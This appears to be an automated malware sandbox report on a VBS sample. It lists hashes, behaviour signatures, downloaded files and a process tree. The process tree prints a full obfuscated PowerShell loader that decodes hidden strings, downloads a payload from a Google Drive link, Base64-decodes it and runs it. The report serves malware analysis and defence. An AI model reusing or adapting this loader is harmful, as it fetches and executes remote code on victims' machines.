Analysis
- max time kernel
142s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 10:11
General
- Target exporter2_exporter-+2024-2025.vbs
- Size 23KB
- Sample240613-l7x86athmf
- SHA256 6a44463feb077a9b6570bae5039b233bfbf2847045b489602aafdc7b035661a7
Score
6/10
Malware Config
Signatures
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\exporter2_exporter-+2024-2025.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle 1 "$Klodshansers = 1;$Killy='ring';$Dovenkroppes='S';Function Berceuse($Tilsikrendes){$Renserne=$Tilsikrendes.Length-$Klodshansers;$Knibende=$Dovenkroppes+'ubst'+$Killy;For( $Raadgivningsvirksomhed=7;$Raadgivningsvirksomhed -lt $Renserne;$Raadgivningsvirksomhed+=8){$Hyletone+=$Tilsikrendes.$Knibende.Invoke( $Raadgivningsvirksomhed, $Klodshansers);}$Hyletone;}function Epostkasse($Boston){ . ($Blokken) ($Boston);}$Skulderblads174=Berceuse 'SyngamiMGangspioPharyngzPolymoriOrthog,lskiftenlMyelodiaAn.ulat/Exempli5selvagt. lemmeb0 Haunte Chizzbo( MartiaW ,irroriGarantinT bulibdJusterioUnp.eclwStillehsBaadepl AfklariNbetonvgTZingerg Tjen st1Concapt0 Anacam.Novelle0Regress;Ja.elin BurreroWSkadefriZebfoern Skaden6Splenoc4Tommasl;Colu,et Ulvemlx,vidnin6indklag4Forkrnk;Skadesl Microamr HunhunvFordybe:Bahiait1Porotyp2Milenes1Nihilit.Afrakni0Dokume,)Diglotf UndecisGMemoir ePerichocGdningsk Fremsto Vandre/Rotunde2dechemi0 Proxim1Toughe,0Rickerd0Outsigh1 Al,ibi0S,orren1 ,achia KlassicFLastetoiAfskyvkr Ra ereeimagin.fOp.ativopersorpx Bromic/Kursero1Icecapa2Slurk,n1Centrif.Tur.ifo0 Throne ';$Leucopoietic=Berceuse 'Graesk,U,bservasDeodorie Embal,r Strkne-K tolskAHoved rg rovfise BabaconA tskomtSignoff ';$Clingier=Berceuse ' riclinhMesencht DoddertFolketipTentak s Tolera:D kkert/Mete.ar/SkrkkamdPreaccurmank.beiairometvContorteMessin..SkomagegDevouraoUnmit,roFebri tgPletvanlflerkole.olteen.vespertcNysselioGeniturmForetas/udludniu redeplcSavorer? ScreeneTeletypxGlasnetpec,entro,eranierInche,utS.riate= richocdAphonicoArgumenwOutputfnThwackelCsarismoTrekkena unected Iant i&Forest,iSkulptudS.rerer=Fi,zlin1pjaltens UnadvafBrndkamWLirenbrybeskftioHoarstoAMarks,ejFinansma Res riVSyrefasbTvivlss7St ingh0 Godkenm Tamponr Motorb7MaravedxTasta.l4O,erplemCa eche9 Brn.sytIsonomo0repealac Titula9RosalgeSNanasekAUnmit.gFHandika9TriangutConf,deP amamelpTachom.W SpalteETrans,e ';$sammenkdningens=Berceuse 'skorste>Lejl.gh ';$Blokken=Berceuse ' nderliiDommedae HalfwaxPan.ere ';$Bynrt='Kloakanlgget';$Affairs = Berceuse 'RecolleeHo.elficArte,iohSklh,ttoUnderaf Intensi% Mesotha AbidegpKdehandpMycetisdM,diatiaOop,oritunoedveaWing dl%Sy,labu\ObsecraSdisses pSenegalnBroder.dDeterrihKostaldoRib.enslholloastBlendwaeVa,dskotVestenvsMiniatu.SovemidPPushup,eLever,nrCommens Ddsdage&Opmaali&Pigebar ,ncheweeTeknokrc Suitenh Wiliesocajan,n Bys.rrtE.vinds ';Epostkasse (Berceuse 'Pla ter$Hoodieig MoitielwoefulloFejlgrebUklareraFlexibel Pentas:MultiplJCootieso,lushtsk Stratee CapricrKlageskg immixaeDrgtigevCompassiBa,ancenShabu,dsOmformetNob erp9 rmeri2 Priori= Saniti( udlgshcU,kaaremGaolersdGenne t Sa dles/Hmning.cHastere capybar$Busse,sABloedeofGrsenkefJadeproa Cribo.iCharmrerNonzealsbarbari)Korsett ');Epostkasse (Berceuse 'O,erleg$ NobelpgBiblioslRenteneoUngdomsbunfewveaLanci al,olosym:Lathem BSkudefuiSkunkynsZe.atritAcrodacaDybfrosn TeigeldPlantdosEnspndedPaternaoEquilobnKvatorioBr kbaar,lylylieVaskerurBek.emts Alepot=Gaffelb$ KayakiCBrithssl KrukkeiReinitinCul.ivagDeklaraiOverasse TnkeevrMiserab.egnsteasGryn.edp takk.flPhi.oloiB okingtEximiou(Twoto,t$SamfundsMilliseaUmoti,emSkippermradioaue Medlemn DormankDialerpddugrudenLovreg,i VendibnMillwheg UnderleScarabjnUnattacsLumskhe) Gelant ');$Clingier=$Bistandsdonorers[0];$Eightyfold7= (Berceuse ' Skylds$HypnotigDumositltynedcooCenterlbPlasmoqaForsaallOpladni:DdsoffeSGenernekClavarirO,tchatiTopsoilfAsphalttBashesae KeralisSelvjustUniversoBeskrivlPaleoate IndtassSecreta= SummerN Tilb,geUdblikkw Sleigh- CirrhuOCisternbDisoriejDragerneS.ckenec S matotMusings MinisubSTransveyRazzwhisKrnssuptLykk.jge StovemmMargith. WildneN ReshapeJohnstvtrockmol.Rad.obiW N.nadveDans,mub GruineCKadrenilGaitspii udaicaeAppor,enSammenft');$Eightyfold7+=$Jokergevinst92[1];Epostkasse ($Eightyfold7);Epostkasse (Berceuse ' Dampha$ NonjurSTribunikTi,nrmerBlindfliWhatabofprimipatTweetineJuvenilsRemeasutYa,pingoRattlepl Omkranetjr,demsGenerat.Snepp.jHlivvagteSpinogaa M ltipd grey.yeAfrodisrBlousilsVaccine[Seksend$ten atiLStonisheCacaestu .edvurcAssmanso ExcalcpTrillinoSojabnniFantasieBlgvanttHandbooiSoelvskcConcert] Caroli=Undertr$NaturviSNarratok Misrecu MiffinlAusgespdEphydriearmenskrTrauli.bMatadorl Diversa Benedid,llestrsS.itchc1Skraver7Rr,mask4Aller,f ');$Sumlogger=Berceuse ' Fromen$Pol.tisSArbejdsk Avls,er D,sergiS,getsrf rugert Kapi.aeKundel sMeadswetSo,engnoPreludilUnloud.eHypostasAnsva.s.B.noculDHerskaboOpkrv nwA magrenIldlinil RosinsoBlgekamaSnurrevd PatholFMandslii ,ndulalBivuakeeKapit,l(Sputumo$FingerkCTrebuchlRastesti Pinnatn Shackog TerrakiEucep.ae Slskinrstilyag,Inobser$ KresteCavnbgenoLeverinuAgeneovsAvl hesi B,ophynPhysostrMalerkuyr,ernes)Reser a ';$Cousinry=$Jokergevinst92[0];Epostkasse (Berceuse 'Re ound$Siliculg Af,tnil InterroSlagfrdbDriersea Asper lMarlier:DogeshiE SkyggemBustlinoMisc,astkusserniMarkedsoHypophynstatshoaIllusiolHear noiLystrentHelbredeHaandl tAzo,ulpeAntic.pn FriordsBoligan=,ndefea(InnerwiTUntreadeA tiochsDockheatAandema-C,simirPKommanda PorsittKvidis,hKislens Medlems$ ristovCprestono TelexeuRei sedsCovetouiHaandgenNotoirerPresniny Brunhe) Unflus ');while (!$Emotionalitetens) {Epostkasse (Berceuse 'Efterml$ abscisgVulgarilOver.eto A,rikobMateriaa Sleavelpe ithe:ChippenR Spon oamannishaExce legTegnttheOrthidarNaadensnAvoidsseTrodsig= eanett$ S nsortPer,onarGrantedu RdgrdseRecher, ') ;Epostkasse $Sumlogger;Epostkasse (Berceuse 'HeuktriSSlidekntCararafaGlder,erKrigsmitEnd gas-Tideco.SFordreslOkras veDelusioemedhjaepHandlin Bandbul4Gnostik ');Epostkasse (Berceuse ' tilbin$Co enitgPsykoselSjett,botro.himbAbj.nctaLe.idoil Neur.c:Azulin,EDgnboksmNonsabboAfvrgedtNe hrotiFlagsptoUnshaftnUngenera ProsemlNeopa,ai D faittRosen deAstroalt Balefie Ubli,enHasteinsSo,cell=,esodes(PreaccuT Meds,yehematomsnonchurtSortkri- LeveriPMistracaKnip,ertEndosomh Mellem Tidsfun$St.rensCAcidifioUn loakuD bitors Laksegi Annaben camel rUltraobyK mmand)Semigra ') ;Epostkasse (Berceuse 'Diptyca$DybenesgYewfugtlBoatingoNemoricbSympustaGaspeeolBsse.ol:SanseveAAfbenytdNoncrenuBlacks lSjb rgstBoplesseNonentor vkstceoInterruu Fr.dnisU,insol=Disempl$Chapmang Fejlhul verskroFourplebNataloiaGraasprlIndbild:Disc ncFLipomorlSynsfria Pleuroag.teauanSyva.rsiSkovm,snOu dancgFotoeleeBesgscer pblomsn.etingee etskrisVurder.+Unsinua+Uforlig%Credib $InhumanBRekonvaiNondefesUnyeanet dreidla kseltanIngenerdEnfou.bsPatentadNonpliaoWellsponTaut choFr.gaaer AmetroeLentissrSkalanislysimet.damesk.c smokeboUnresinuUnm.rrinGeometrt Undam, ') ;$Clingier=$Bistandsdonorers[$Adulterous];}$Ansigtsfarver224=316414;$uneconomisings=30112;Epostkasse (Berceuse ' Dyschr$ResuinggCezannelArterieoMaaltagbPyrotekaElzevirlC,romat:Help.esA Loric,nMothersaTy.ologrSlavepet CanoodhAgnost,r Rec peoIntraprp Shavedo parashdSavorsooScopespu BegunssHop oad Faglrer=Bran.li BundtpGPhelloge PostantRapiner- skriftCWindmiloFlabesrnK.iplertDepredaeKommensnS.reamltMyrmido Spi.alb$Unde veCSpenderoA.veolru Tordens R.cidiiVesicocn CloudyrKonfrony Buskor ');Epostkasse (Berceuse ',undalp$VasculagOkkultilFuturumounitivebKlhalinaTransvelKomiker:PaviotsR orterheTransparBranch.eCirculamHkkes,km .postoiIstterdcBesvrlieD mitte Kapital=Bre ren Dis,ip[A,flyvnSUltrad yNedfa.dsOsmomettDetermieSubnatum Vkstre. HovedvC.arkomao Watchsn.ubergivBlokdi,eKa,esporIllumintStaveko]Klipper:Erected:LarkyjoFFlourisrPapish,oUndescrmsandb.iBTorpedoabiplanes InexpieRi,htab6Rufsg,o4Osvald.SLivsfretC.priccr,olyhaeiFobi kenErkendegSam,and( Savspa$RflenreANytt,ownAnt.gelaBariumcrTrophict Af.ifthFilminsrVovestyoDecimalpAffedtno emhundd Pi roaoOverinsuHenholdsS.raaen),amousl ');Epostkasse (Berceuse 'Fretway$Trico ig adioacl H.segaoCounterbP steuraPargetslMiddelh:peruviaBAnskaffr erkeliAnalysesHjerteruOptri,srT edeleeScotsam strolle=Female. Pseudon[Slang lS MonarkySt,afbesHorsesct Di.enaeIldesetm A.trop. we,tleT Navne eStanc ix Postu.tAndelsg.SvededrETrustlen GarrotcBaskereoUndeviad antianiO.ertalnRisiciegSmidi.h]Schoolg:Opsvulm:MemoriaAMerc riSSkriveoC Femo,tIne michI Amalga. OrnadaGMisdemee MokkentVal ntiSnonprimtMyldretr NeolitiEndossenFerdan g Sy,vin(.arbles$MinutioRubetydeevaskbarrSlapdeseHoej,tsm M sentmhotel oiMesosphcForesp,eSwapnin),lagter ');Epostkasse (Berceuse 'Trustor$Odinesmg .rowsel Cadoneo FormicbDeuteroaetha,ollLrerige:Leuko,yLZeoliteiOversolg CaresshOphiogltTra.spoeuntactfr,oadsman B odsbe Wa.dor= Selv p$ ejseseBTrllenerSlu,opgi Sire,hsMaskersuCha,tierF rskubeDdsdage.Unleas sAuxot ouAfhndelb Brandssp,raceat E,ancirUranisciSparklinpne matgYderb k(Udskrif$VsensfoASwedenbnKsemafosStivnp,idyreklig CensustU vaskes UpplucfNixerrua LhunderLambdasv AbsurdePanso hrStrandf2Cerebro2 Un.eco4Legat,e,clogssm$outmodeuCesaroln Inte re SnorklcgluncheoDisconnnLaureeno Spe mim.kttedei Protoss Ast oli,utidsmnStave.wgantil,vsMidinet).rtille ');Epostkasse $Lighterne;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Spndholtets.Per && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Satyrical.txt
Satyrical.txt
Satyrical.txt
__PSScriptPolicyTest_3re5a4rn.zc1.ps1
memory/1576-337-0x00007FF8E3E23000-0x00007FF8E3E25000-memory.dmp
memory/1576-343-0x0000024673F50000-0x0000024673F72000-memory.dmp
memory/1576-348-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/1576-349-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/1576-350-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/1576-351-0x00007FF8E3E23000-0x00007FF8E3E25000-memory.dmp
memory/1576-352-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp
memory/1576-353-0x00007FF8E3E20000-0x00007FF8E48E1000-memory.dmp